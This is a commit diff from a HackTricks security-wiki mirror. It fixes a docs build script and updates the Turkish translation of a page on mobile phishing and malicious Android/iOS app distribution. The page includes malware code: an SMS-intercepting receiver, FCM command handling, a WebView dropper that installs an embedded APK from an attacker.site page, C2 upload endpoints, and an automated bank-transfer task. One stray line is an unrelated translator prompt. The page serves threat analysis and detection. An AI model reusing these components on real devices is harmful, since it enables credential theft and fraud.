mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/phishing-methodolog
This commit is contained in:
parent
e490cc8a0e
commit
97269c8e5f
@ -17,7 +17,7 @@ handler2.setLevel(logging.ERROR)
|
||||
logger.addHandler(handler2)
|
||||
|
||||
|
||||
def findtitle(search ,obj, key, path=(),):
|
||||
def findtitle(search, obj, key, path=()):
|
||||
# logger.debug(f"Looking for {search} in {path}")
|
||||
if isinstance(obj, dict) and key in obj and obj[key] == search:
|
||||
return obj, path
|
||||
@ -54,26 +54,42 @@ def ref(matchobj):
|
||||
if href.endswith("/"):
|
||||
href = href+"README.md" # Fix if ref points to a folder
|
||||
if "#" in href:
|
||||
chapter, _path = findtitle(href.split("#")[0], book, "source_path")
|
||||
title = " ".join(href.split("#")[1].split("-")).title()
|
||||
logger.debug(f'Ref has # using title: {title}')
|
||||
result = findtitle(href.split("#")[0], book, "source_path")
|
||||
if result is not None:
|
||||
chapter, _path = result
|
||||
title = " ".join(href.split("#")[1].split("-")).title()
|
||||
logger.debug(f'Ref has # using title: {title}')
|
||||
else:
|
||||
raise Exception(f"Chapter not found for path: {href.split('#')[0]}")
|
||||
else:
|
||||
chapter, _path = findtitle(href, book, "source_path")
|
||||
logger.debug(f'Recursive title search result: {chapter["name"]}')
|
||||
title = chapter['name']
|
||||
result = findtitle(href, book, "source_path")
|
||||
if result is not None:
|
||||
chapter, _path = result
|
||||
logger.debug(f'Recursive title search result: {chapter["name"]}')
|
||||
title = chapter['name']
|
||||
else:
|
||||
raise Exception(f"Chapter not found for path: {href}")
|
||||
except Exception as e:
|
||||
dir = path.dirname(current_chapter['source_path'])
|
||||
rel_path = path.normpath(path.join(dir,href))
|
||||
try:
|
||||
logger.debug(f'Not found chapter title from: {href} -- trying with relative path {rel_path}')
|
||||
if "#" in href:
|
||||
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
|
||||
title = " ".join(href.split("#")[1].split("-")).title()
|
||||
logger.debug(f'Ref has # using title: {title}')
|
||||
result = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
|
||||
if result is not None:
|
||||
chapter, _path = result
|
||||
title = " ".join(href.split("#")[1].split("-")).title()
|
||||
logger.debug(f'Ref has # using title: {title}')
|
||||
else:
|
||||
raise Exception(f"Chapter not found for relative path: {path.normpath(path.join(dir,href.split('#')[0]))}")
|
||||
else:
|
||||
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
|
||||
title = chapter["name"]
|
||||
logger.debug(f'Recursive title search result: {chapter["name"]}')
|
||||
result = findtitle(path.normpath(path.join(dir,href)), book, "source_path")
|
||||
if result is not None:
|
||||
chapter, _path = result
|
||||
title = chapter["name"]
|
||||
logger.debug(f'Recursive title search result: {chapter["name"]}')
|
||||
else:
|
||||
raise Exception(f"Chapter not found for relative path: {path.normpath(path.join(dir,href))}")
|
||||
except Exception as e:
|
||||
logger.debug(e)
|
||||
logger.error(f'Error getting chapter title: {rel_path}')
|
||||
|
@ -768,7 +768,7 @@
|
||||
- [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
|
||||
- [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
|
||||
- [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
|
||||
- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md)
|
||||
- [ROP & JOP](binary-exploitation/rop-return-oriented-programing/README.md)
|
||||
- [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
|
||||
- [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
|
||||
- [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
|
||||
@ -837,8 +837,9 @@
|
||||
- [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md)
|
||||
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
|
||||
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
|
||||
- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
|
||||
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
|
||||
- [iOS Exploiting](binary-exploitation/ios-exploiting.md)
|
||||
|
||||
# 🤖 AI
|
||||
- [AI Security](AI/README.md)
|
||||
|
@ -1,67 +1,67 @@
|
||||
# Mobil Phishing ve Kötü Amaçlı Uygulama Dağıtımı (Android & iOS)
|
||||
# Mobile Phishing & Malicious App Distribution (Android & iOS)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!INFO]
|
||||
> Bu sayfa, tehdit aktörlerinin **kötü amaçlı Android APK'ları** ve **iOS mobil yapılandırma profilleri** dağıtmak için kullandığı teknikleri kapsar (phishing (SEO, sosyal mühendislik, sahte mağazalar, flört uygulamaları vb.)).
|
||||
> Materyal, Zimperium zLabs tarafından ifşa edilen SarangTrap kampanyasından (2025) ve diğer kamu araştırmalarından uyarlanmıştır.
|
||||
> Bu sayfa, tehdit aktörlerinin phishing (SEO, social engineering, fake stores, dating apps, vb.) yoluyla **malicious Android APKs** ve **iOS mobile-configuration profiles** dağıtmak için kullandıkları teknikleri kapsar.
|
||||
> Materyal, Zimperium zLabs tarafından ifşa edilen SarangTrap kampanyası (2025) ve diğer kamu araştırmalarından uyarlanmıştır.
|
||||
|
||||
## Saldırı Akışı
|
||||
|
||||
1. **SEO/Phishing Altyapısı**
|
||||
* Benzer görünümlü alan adlarını (flört, bulut paylaşımı, araç servisi…) kaydedin.
|
||||
– Google'da sıralamak için `<title>` öğesinde yerel dil anahtar kelimeleri ve emojiler kullanın.
|
||||
– *Hem* Android (`.apk`) hem de iOS kurulum talimatlarını aynı açılış sayfasında barındırın.
|
||||
2. **İlk Aşama İndirme**
|
||||
* Android: *imzasız* veya “üçüncü taraf mağaza” APK'sına doğrudan bağlantı.
|
||||
* iOS: kötü amaçlı **mobileconfig** profiline `itms-services://` veya düz HTTPS bağlantısı (aşağıya bakın).
|
||||
3. **Kurulum Sonrası Sosyal Mühendislik**
|
||||
* Uygulama ilk çalıştırıldığında **davetiye / doğrulama kodu** ister (özel erişim yanılsaması).
|
||||
* Kod, Komut ve Kontrol (C2) sunucusuna **HTTP üzerinden POST edilir**.
|
||||
* C2 `{"success":true}` yanıtı verir ➜ kötü amaçlı yazılım devam eder.
|
||||
* Geçerli bir kod göndermeyen Sandbox / AV dinamik analizi **kötü amaçlı davranış** görmez (kaçış).
|
||||
4. **Çalışma Zamanı İzin Suistimali** (Android)
|
||||
* Tehlikeli izinler yalnızca **pozitif C2 yanıtından sonra** istenir:
|
||||
* Çok sayıda benzer görünümlü domain kaydedin (dating, cloud share, car service…).
|
||||
– Google'da sıralama için `<title>` öğesine yerel dil anahtar kelimeleri ve emoji ekleyin.
|
||||
– Aynı açılış sayfasında hem Android (`.apk`) hem de iOS kurulum talimatlarını barındırın.
|
||||
2. **First Stage Download**
|
||||
* Android: *unsigned* veya “third-party store” APK'ya doğrudan bağlantı.
|
||||
* iOS: `itms-services://` veya düz HTTPS link ile kötü amaçlı bir **mobileconfig** profile yönlendirme (aşağıya bakın).
|
||||
3. **Kurulum Sonrası Social Engineering**
|
||||
* İlk çalıştırmada uygulama **davet / doğrulama kodu** ister (özel erişim yanılsaması).
|
||||
* Kod, Command-and-Control (C2)'ye **HTTP üzerinden POST** edilir.
|
||||
* C2 `{"success":true}` ile yanıt verir ➜ malware devam eder.
|
||||
* Geçerli kod göndermeyen Sandbox / AV dynamic analysis, **no malicious behaviour** görür (evasion).
|
||||
4. **Runtime Permission Abuse** (Android)
|
||||
* Tehlikeli izinler yalnızca **positive C2 response** sonrasında istenir:
|
||||
```xml
|
||||
<uses-permission android:name="android.permission.READ_CONTACTS"/>
|
||||
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
|
||||
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
|
||||
<!-- Eski sürümler ayrıca SMS izinleri de isterdi -->
|
||||
<!-- Older builds also asked for SMS permissions -->
|
||||
```
|
||||
* Son varyantlar, `AndroidManifest.xml` dosyasından SMS için **`<uses-permission>` kaldırır** ancak SMS'i yansıma yoluyla okuyan Java/Kotlin kod yolunu bırakır ⇒ izin veren cihazlarda hala işlevsel kalırken statik puanı düşürür.
|
||||
5. **Facade UI ve Arka Plan Toplama**
|
||||
* Uygulama, yerel olarak uygulanan zararsız görünümler (SMS görüntüleyici, galeri seçici) gösterir.
|
||||
* Bu arada, aşağıdakileri dışarı aktarır:
|
||||
* Yeni varyantlar `AndroidManifest.xml` içinden SMS için `<uses-permission>` etiketini **kaldırır** ancak SMS'i reflection ile okuyan Java/Kotlin kod yolunu bırakır ⇒ statik skoru düşürürken, `AppOps` abuse veya eski hedeflerde izin verilmişse hâlâ çalışır.
|
||||
5. **Facade UI & Background Collection**
|
||||
* Uygulama yerel olarak uygulanmış zararsız görünümler (SMS viewer, gallery picker) gösterir.
|
||||
* Bu sırada şu verileri dışa aktarır:
|
||||
- IMEI / IMSI, telefon numarası
|
||||
- Tam `ContactsContract` dökümü (JSON dizisi)
|
||||
- Boyutunu azaltmak için [Luban](https://github.com/Curzibn/Luban) ile sıkıştırılmış JPEG/PNG dosyaları `/sdcard/DCIM`'den
|
||||
- Tam `ContactsContract` dökümü (JSON array)
|
||||
- `/sdcard/DCIM` içindeki JPEG/PNG'ler [Luban](https://github.com/Curzibn/Luban) ile sıkıştırılarak boyut azaltılır
|
||||
- Opsiyonel SMS içeriği (`content://sms`)
|
||||
Yükler **toplu olarak ziplenir** ve `HTTP POST /upload.php` üzerinden gönderilir.
|
||||
6. **iOS Dağıtım Tekniği**
|
||||
* Tek bir **mobil yapılandırma profili**, cihazı “MDM” benzeri denetim altına almak için `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` vb. isteyebilir.
|
||||
* Sosyal mühendislik talimatları:
|
||||
1. Ayarları Aç ➜ *Profil indirildi*.
|
||||
2. *Yükle* butonuna üç kez dokunun (phishing sayfasındaki ekran görüntüleri).
|
||||
3. İmzalanmamış profili güvenilir kılın ➜ saldırgan *Kişiler* ve *Fotoğraf* yetkisini App Store incelemesi olmadan kazanır.
|
||||
Payload'lar **batch-zipped** edilerek `HTTP POST /upload.php` ile gönderilir.
|
||||
6. **iOS Delivery Technique**
|
||||
* Tek bir **mobile-configuration profile** `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` vb. isteyerek cihazı “MDM” benzeri denetime kaydedebilir.
|
||||
* Social-engineering instructions:
|
||||
1. Open Settings ➜ *Profile downloaded*.
|
||||
2. Tap *Install* three times (screenshots on the phishing page).
|
||||
3. Trust the unsigned profile ➜ attacker *Contacts* & *Photo* entitlement kazanır, App Store review olmadan.
|
||||
7. **Ağ Katmanı**
|
||||
* Düz HTTP, genellikle `api.<phishingdomain>.com` gibi HOST başlığı ile 80 numaralı portta.
|
||||
* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (TLS yok → kolayca tespit edilir).
|
||||
* Düz HTTP, genelde port 80 üzerinde HOST header `api.<phishingdomain>.com` gibi.
|
||||
* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (no TLS → tespit etmesi kolay).
|
||||
|
||||
## Savunma Testi / Kırmızı Takım İpuçları
|
||||
## Defensive Testing / Red-Team İpuçları
|
||||
|
||||
* **Dinamik Analiz Kaçışı** – Kötü amaçlı yazılım değerlendirmesi sırasında, davetiye kodu aşamasını Frida/Objection ile otomatikleştirerek kötü amaçlı dalı ulaşın.
|
||||
* **Manifest ile Çalışma Zamanı Farkı** – `aapt dump permissions` ile çalışma zamanı `PackageManager#getRequestedPermissions()`'ı karşılaştırın; tehlikeli izinlerin eksik olması bir kırmızı bayraktır.
|
||||
* **Ağ Canary** – Kod girişi sonrası sağlam POST patlamalarını tespit etmek için `iptables -p tcp --dport 80 -j NFQUEUE` yapılandırın.
|
||||
* **mobileconfig İncelemesi** – `security cms -D -i profile.mobileconfig` komutunu macOS'ta kullanarak `PayloadContent` listesini çıkarın ve aşırı yetkileri tespit edin.
|
||||
* **Dynamic Analysis Bypass** – Malware assessment sırasında, kötü amaçlı şubeye ulaşmak için Frida/Objection ile invitation code aşamasını otomatikleştirin.
|
||||
* **Manifest vs. Runtime Diff** – `aapt dump permissions` ile runtime `PackageManager#getRequestedPermissions()` karşılaştırın; eksik tehlikeli izinler bir uyarı işaretidir.
|
||||
* **Network Canary** – Kod girişinden sonra düzensiz POST patlamalarını tespit etmek için `iptables -p tcp --dport 80 -j NFQUEUE` yapılandırın.
|
||||
* **mobileconfig Inspection** – macOS'ta `security cms -D -i profile.mobileconfig` kullanarak `PayloadContent`'i listeleyin ve aşırı yetkileri tespit edin.
|
||||
|
||||
## Mavi Takım Tespit Fikirleri
|
||||
## Blue-Team Tespit Fikirleri
|
||||
|
||||
* **Sertifika Şeffaflığı / DNS Analitiği** aniden anahtar kelime açısından zengin alan adlarının patlamalarını yakalamak için.
|
||||
* **User-Agent ve Yol Regex**: `(?i)POST\s+/(check|upload)\.php` Dalvik istemcilerinden Google Play dışında.
|
||||
* **Davet Kodu Telemetresi** – APK kurulumu sonrası kısa bir süre içinde 6–8 haneli sayısal kodların POST edilmesi, sahneleme göstergesi olabilir.
|
||||
* **MobileConfig İmzalama** – İmzalanmamış yapılandırma profillerini MDM politikası aracılığıyla engelleyin.
|
||||
* **Certificate Transparency / DNS Analytics** ile anahtar kelime içeren domainlerde ani artışları yakalayın.
|
||||
* **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php` Google Play dışındaki Dalvik client'lardan gelen istekler için.
|
||||
* **Invite-code Telemetry** – APK kurulumundan kısa süre sonra 6–8 haneli sayısal kodların POST edilmesi staging göstergesi olabilir.
|
||||
* **MobileConfig Signing** – MDM politikası ile unsigned configuration profile'ları engelleyin.
|
||||
|
||||
## Kullanışlı Frida Kodu: Davetiye Kodunu Otomatik Olarak Atla
|
||||
## Useful Frida Snippet: Auto-Bypass Invitation Code
|
||||
```python
|
||||
# frida -U -f com.badapp.android -l bypass.js --no-pause
|
||||
# Hook HttpURLConnection write to always return success
|
||||
@ -88,30 +88,30 @@ LubanCompress 1.1.8 # "Luban" string inside classes.dex
|
||||
```
|
||||
---
|
||||
|
||||
## Android WebView Ödeme Phishing (UPI) – Dropper + FCM C2 Deseni
|
||||
## Android WebView Payment Phishing (UPI) – Dropper + FCM C2 Pattern
|
||||
|
||||
Bu desen, Hindistan'daki UPI kimlik bilgilerini ve OTP'leri çalmak için hükümet yardımı temalarını kötüye kullanan kampanyalarda gözlemlenmiştir. Operatörler, teslimat ve dayanıklılık için güvenilir platformları zincirler.
|
||||
This pattern has been observed in campaigns abusing government-benefit themes to steal Indian UPI credentials and OTPs. Operators chain reputable platforms for delivery and resilience.
|
||||
|
||||
### Güvenilir platformlar arasında teslimat zinciri
|
||||
- YouTube video tuzağı → açıklama kısa bir bağlantı içeriyor
|
||||
- Kısa bağlantı → gerçek portalı taklit eden GitHub Pages phishing sitesi
|
||||
- Aynı GitHub deposu, dosyaya doğrudan bağlantı veren sahte “Google Play” rozeti ile bir APK barındırıyor
|
||||
- Dinamik phishing sayfaları Replit'te yaşıyor; uzaktan komut kanalı Firebase Cloud Messaging (FCM) kullanıyor
|
||||
### Delivery chain across trusted platforms
|
||||
- YouTube video lure → description contains a short link
|
||||
- Shortlink → GitHub Pages phishing site imitating the legit portal
|
||||
- Same GitHub repo hosts an APK with a fake “Google Play” badge linking directly to the file
|
||||
- Dynamic phishing pages live on Replit; remote command channel uses Firebase Cloud Messaging (FCM)
|
||||
|
||||
### Gömülü yük ve çevrimdışı kurulum ile Dropper
|
||||
- İlk APK, gerçek kötü amaçlı yazılımı `assets/app.apk` konumunda gönderen bir yükleyicidir (dropper) ve kullanıcıdan bulut tespitini azaltmak için Wi‑Fi/mobil veriyi devre dışı bırakmasını ister.
|
||||
- Gömülü yük, masum bir etiket altında (örneğin, “Güvenli Güncelleme”) kurulur. Kurulumdan sonra, hem yükleyici hem de yük ayrı uygulamalar olarak mevcuttur.
|
||||
### Dropper with embedded payload and offline install
|
||||
- First APK is an installer (dropper) that ships the real malware at `assets/app.apk` and prompts the user to disable Wi‑Fi/mobile data to blunt cloud detection.
|
||||
- The embedded payload installs under an innocuous label (e.g., “Secure Update”). After install, both the installer and the payload are present as separate apps.
|
||||
|
||||
Statik triage ipucu (gömülü yükler için grep):
|
||||
Statik triage ipucu (grep for embedded payloads):
|
||||
```bash
|
||||
unzip -l sample.apk | grep -i "assets/app.apk"
|
||||
# Or:
|
||||
zipgrep -i "classes|.apk" sample.apk | head
|
||||
```
|
||||
### Kısa bağlantı aracılığıyla dinamik uç nokta keşfi
|
||||
- Kötü amaçlı yazılım, bir kısa bağlantıdan düz metin, virgülle ayrılmış canlı uç noktalar listesini alır; basit dize dönüşümleri nihai phishing sayfası yolunu üretir.
|
||||
### Dinamik endpoint keşfi shortlink aracılığıyla
|
||||
- Malware, bir shortlink'ten düz metin, virgülle ayrılmış canlı endpoint listesini çeker; basit string dönüşümleri nihai phishing sayfası yolunu üretir.
|
||||
|
||||
Örnek (temizlenmiş):
|
||||
Örnek (sansürlenmiş):
|
||||
```
|
||||
GET https://rebrand.ly/dclinkto2
|
||||
Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php
|
||||
@ -119,7 +119,7 @@ Transform: "gate.html" → "gate.htm" (loaded in WebView)
|
||||
UPI credential POST: https://sqcepo.replit.app/addup.php
|
||||
SMS upload: https://sqcepo.replit.app/addsm.php
|
||||
```
|
||||
Pseudo-kod:
|
||||
Sözde kod:
|
||||
```java
|
||||
String csv = httpGet(shortlink);
|
||||
String[] parts = csv.split(",");
|
||||
@ -127,25 +127,25 @@ String upiPage = parts[0].replace("gate.html", "gate.htm");
|
||||
String smsPost = parts[1];
|
||||
String credsPost = upiPage.replace("gate.htm", "addup.php");
|
||||
```
|
||||
### WebView tabanlı UPI kimlik bilgisi toplama
|
||||
- “₹1 / UPI‑Lite ödemesi yap” adımı, bir WebView içindeki dinamik uç noktadan bir saldırgan HTML formunu yükler ve hassas alanları (telefon, banka, UPI PIN) yakalar; bu bilgiler `addup.php`'ye `POST` edilir.
|
||||
### WebView-based UPI credential harvesting
|
||||
- “Make payment of ₹1 / UPI‑Lite” adımı, dinamik endpoint'ten WebView içinde bir attacker HTML formu yükler ve hassas alanları (telefon, banka, UPI PIN) yakalar; bu alanlar `POST` ile `addup.php`'ye gönderilir.
|
||||
|
||||
Minimal yükleyici:
|
||||
Minimal loader:
|
||||
```java
|
||||
WebView wv = findViewById(R.id.web);
|
||||
wv.getSettings().setJavaScriptEnabled(true);
|
||||
wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
|
||||
```
|
||||
### Kendiliğinden yayılma ve SMS/OTP kesme
|
||||
- İlk çalıştırmada agresif izinler talep edilir:
|
||||
### Self-propagation ve SMS/OTP yakalama
|
||||
- İlk çalıştırmada agresif izinler istenir:
|
||||
```xml
|
||||
<uses-permission android:name="android.permission.READ_CONTACTS"/>
|
||||
<uses-permission android:name="android.permission.SEND_SMS"/>
|
||||
<uses-permission android:name="android.permission.READ_SMS"/>
|
||||
<uses-permission android:name="android.permission.CALL_PHONE"/>
|
||||
```
|
||||
- Kurbanın cihazından toplu olarak smishing SMS göndermek için kişiler döngüye alınıyor.
|
||||
- Gelen SMS'ler bir yayın alıcısı tarafından engelleniyor ve `/addsm.php` adresine meta verilerle (gönderen, içerik, SIM yuvası, cihaza özgü rastgele ID) yükleniyor.
|
||||
- Kişiler, kurbanın cihazından toplu smishing SMS göndermek için döngüye alınır.
|
||||
- Gelen SMS'ler bir broadcast receiver tarafından yakalanır ve meta verilerle (gönderen, içerik, SIM yuvası, cihaza özel rastgele ID) `/addsm.php`'ye yüklenir.
|
||||
|
||||
Receiver sketch:
|
||||
```java
|
||||
@ -161,10 +161,10 @@ postForm(urlAddSms, new FormBody.Builder()
|
||||
}
|
||||
}
|
||||
```
|
||||
### Firebase Cloud Messaging (FCM) dayanıklı C2 olarak
|
||||
- Yük, FCM'ye kaydolur; itme mesajları, eylemleri tetiklemek için bir anahtar olarak kullanılan bir `_type` alanı taşır (örneğin, phishing metin şablonlarını güncelleme, davranışları değiştirme).
|
||||
### Firebase Cloud Messaging (FCM) olarak dayanıklı C2
|
||||
- Payload, FCM'ye kayıt olur; push mesajları, eylemleri tetiklemek için anahtar olarak kullanılan `_type` alanını taşır (ör. phishing metin şablonlarını güncellemek, davranışları açıp kapatmak).
|
||||
|
||||
Örnek FCM yükü:
|
||||
Örnek FCM payload:
|
||||
```json
|
||||
{
|
||||
"to": "<device_fcm_token>",
|
||||
@ -186,27 +186,175 @@ case "smish": sendSmishToContacts(); break;
|
||||
}
|
||||
}
|
||||
```
|
||||
### Avlanma desenleri ve IOC'ler
|
||||
- APK, `assets/app.apk`'de ikincil yük içerir
|
||||
- WebView, `gate.htm`'den ödeme yükler ve `/addup.php`'ye dışarı sızdırır
|
||||
- SMS dışarı sızdırma `/addsm.php`'ye
|
||||
- Kısa bağlantı ile yapı alma (örneğin, `rebrand.ly/*`) CSV uç noktaları döndürür
|
||||
- Genel "Güncelleme/Güvenli Güncelleme" olarak etiketlenmiş uygulamalar
|
||||
- Güvenilmeyen uygulamalarda `_type` ayırıcı ile FCM `data` mesajları
|
||||
### Avlama kalıpları ve IOC'ler
|
||||
- APK, ikincil payload'ı `assets/app.apk` içinde içerir
|
||||
- WebView `gate.htm`'den ödeme yükler ve `/addup.php`'ye veri sızdırır
|
||||
- SMS'in `/addsm.php`'ye sızdırılması
|
||||
- Shortlink tabanlı konfigürasyon çekimi (ör. `rebrand.ly/*`) CSV endpoint'leri döndürür
|
||||
- Uygulamalar genel olarak “Update/Secure Update” olarak etiketlenmiş
|
||||
- Güvenilmeyen uygulamalarda `_type` ayırıcıya sahip FCM `data` mesajları
|
||||
|
||||
### Tespit ve savunma fikirleri
|
||||
- Kullanıcılara kurulum sırasında ağı devre dışı bırakmalarını söyleyen ve ardından `assets/`'den ikinci bir APK yükleyen uygulamaları işaretleyin.
|
||||
- İzin demeti üzerinde uyarı: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + WebView tabanlı ödeme akışları.
|
||||
- Kurumsal olmayan ana bilgisayarlarda `POST /addup.php|/addsm.php` için çıkış izleme; bilinen altyapıyı engelleyin.
|
||||
- Mobil EDR kuralları: FCM için kayıtlı güvenilmeyen uygulama ve `_type` alanına göre dallanma.
|
||||
- Kullanıcıları kurulum sırasında ağı devre dışı bırakmaya yönlendiren ve ardından `assets/`'ten ikinci bir APK yan yükleyen uygulamaları işaretle.
|
||||
- İzin kombinasyonu için uyarı: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + WebView tabanlı ödeme akışları.
|
||||
- Kurumsal olmayan hostlarda `POST /addup.php|/addsm.php` için çıkış trafiği izleme; bilinen altyapıyı engelle.
|
||||
- Mobile EDR kuralları: FCM'ye kayıt olan ve `_type` alanına göre dallanan güvenilmeyen uygulama.
|
||||
|
||||
---
|
||||
|
||||
## Referanslar
|
||||
## Android Accessibility/Overlay & Device Admin Suistimali, ATS otomasyonu, ve NFC relay orkestrasyonu – RatOn vaka çalışması
|
||||
|
||||
- [Romantizmin Karanlık Yüzü: SarangTrap Şantaj Kampanyası](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
|
||||
- [Luban – Android görüntü sıkıştırma kütüphanesi](https://github.com/Curzibn/Luban)
|
||||
- [Android Kötü Amaçlı Yazılımı, Finansal Verileri Çalmak İçin Enerji Sübvansiyonu Vaadi (McAfee Labs)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-promises-energy-subsidy-to-steal-financial-data/)
|
||||
- [Firebase Cloud Messaging — Belgeler](https://firebase.google.com/docs/cloud-messaging)
|
||||
RatOn banker/RAT campaign (ThreatFabric), modern mobil phishing operasyonlarının WebView dropper'ları, Accessibility kaynaklı UI otomasyonu, overlays/ransom, Device Admin zorlama, Automated Transfer System (ATS), kripto cüzdanı ele geçirme ve hatta NFC-relay orkestrasyonunu nasıl harmanladığının somut bir örneğidir. Bu bölüm yeniden kullanılabilir teknikleri soyutlar.
|
||||
|
||||
### Aşama-1: WebView → native kurulum köprüsü (dropper)
|
||||
Saldırganlar, saldırgan sayfasına işaret eden bir WebView sunar ve native kurulum programını açığa çıkaran bir JavaScript arayüzü enjekte eder. Bir HTML düğmesine dokunma, dropper'ın assets'inde paketlenmiş ikinci aşama APK'yı kuran native koda çağrı yapar ve ardından doğrudan başlatır.
|
||||
|
||||
Minimal desen:
|
||||
```java
|
||||
public class DropperActivity extends Activity {
|
||||
@Override protected void onCreate(Bundle b){
|
||||
super.onCreate(b);
|
||||
WebView wv = new WebView(this);
|
||||
wv.getSettings().setJavaScriptEnabled(true);
|
||||
wv.addJavascriptInterface(new Object(){
|
||||
@android.webkit.JavascriptInterface
|
||||
public void installApk(){
|
||||
try {
|
||||
PackageInstaller pi = getPackageManager().getPackageInstaller();
|
||||
PackageInstaller.SessionParams p = new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL);
|
||||
int id = pi.createSession(p);
|
||||
try (PackageInstaller.Session s = pi.openSession(id);
|
||||
InputStream in = getAssets().open("payload.apk");
|
||||
OutputStream out = s.openWrite("base.apk", 0, -1)){
|
||||
byte[] buf = new byte[8192]; int r; while((r=in.read(buf))>0){ out.write(buf,0,r);} s.fsync(out);
|
||||
}
|
||||
PendingIntent status = PendingIntent.getBroadcast(this, 0, new Intent("com.evil.INSTALL_DONE"), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE);
|
||||
pi.commit(id, status.getIntentSender());
|
||||
} catch (Exception e) { /* log */ }
|
||||
}
|
||||
}, "bridge");
|
||||
setContentView(wv);
|
||||
wv.loadUrl("https://attacker.site/install.html");
|
||||
}
|
||||
}
|
||||
```
|
||||
İçeriği çevirip döndürebilmem için lütfen sayfadaki HTML veya çevirmemi istediğiniz metni buraya yapıştırın.
|
||||
```html
|
||||
<button onclick="bridge.installApk()">Install</button>
|
||||
```
|
||||
Yüklemeden sonra, dropper explicit package/activity aracılığıyla payload'u başlatır:
|
||||
```java
|
||||
Intent i = new Intent();
|
||||
i.setClassName("com.stage2.core", "com.stage2.core.MainActivity");
|
||||
startActivity(i);
|
||||
```
|
||||
Tehdit avı fikri: güvenilmeyen uygulamaların `addJavascriptInterface()` çağırıp WebView'a installer-benzeri yöntemler erişime açması; APK'nin `assets/` altında gömülü ikincil bir payload taşıması ve Package Installer Session API'yi çağırması.
|
||||
|
||||
### Onay akışı: Accessibility + Device Admin + takip eden runtime istemleri
|
||||
Stage-2, içinde “Erişim” sayfası barındıran bir WebView açar. Sayfadaki düğme, kurbanı Accessibility ayarlarına yönlendiren ve sahte servisin etkinleştirilmesini isteyen bir exported method'u çağırır. İzin verildiğinde, malware Accessibility'yi kullanarak sonraki runtime izin diyaloglarında (contacts, overlay, manage system settings, vb.) otomatik tıklama yapar ve Device Admin ister.
|
||||
|
||||
- Accessibility programatik olarak node-tree içinde “Allow”/“OK” gibi butonları bularak sonraki istemleri kabul etmeye yardımcı olur ve tıklamaları tetikler.
|
||||
- Overlay izni kontrol/isteği:
|
||||
```java
|
||||
if (!Settings.canDrawOverlays(ctx)) {
|
||||
Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
|
||||
Uri.parse("package:" + ctx.getPackageName()));
|
||||
ctx.startActivity(i);
|
||||
}
|
||||
```
|
||||
{{#ref}}
|
||||
../../mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### WebView üzerinden overlay phishing/ransom
|
||||
Operatörler şu komutları verebilir:
|
||||
- bir URL'den tam ekran overlay render etmek, veya
|
||||
- inline HTML geçirip bunun bir WebView overlay'inde yüklenmesini sağlamak.
|
||||
|
||||
Muhtemel kullanım: coercion (PIN girişi), cüzdan açtırma ile PIN yakalama, fidye mesajları. Eksikse overlay izninin verildiğini doğrulamak için bir komut bulundurun.
|
||||
|
||||
### Uzak kontrol modeli – metin pseudo-ekran + screen-cast
|
||||
- Düşük bant genişliği: Accessibility node tree'i periyodik olarak dump edin, görünür metinleri/rolleri/bounds'ları serialize edip pseudo-ekran olarak C2'ye gönderin (komutlar gibi `txt_screen` bir kere ve `screen_live` sürekli).
|
||||
- Yüksek doğruluk: MediaProjection isteyin ve talep üzerine screen-casting/recording başlatın (komutlar gibi `display` / `record`).
|
||||
|
||||
### ATS playbook (banka uygulaması otomasyonu)
|
||||
Verilen bir JSON göreviyle, banka uygulamasını açın, metin sorguları ve koordinat tıklamalarının karışımıyla Accessibility üzerinden UI'ı yönlendirin ve istendiğinde mağdurun ödeme PIN'ini girin.
|
||||
|
||||
Örnek görev:
|
||||
```json
|
||||
{
|
||||
"cmd": "transfer",
|
||||
"receiver_address": "ACME s.r.o.",
|
||||
"account": "123456789/0100",
|
||||
"amount": "24500.00",
|
||||
"name": "ACME"
|
||||
}
|
||||
```
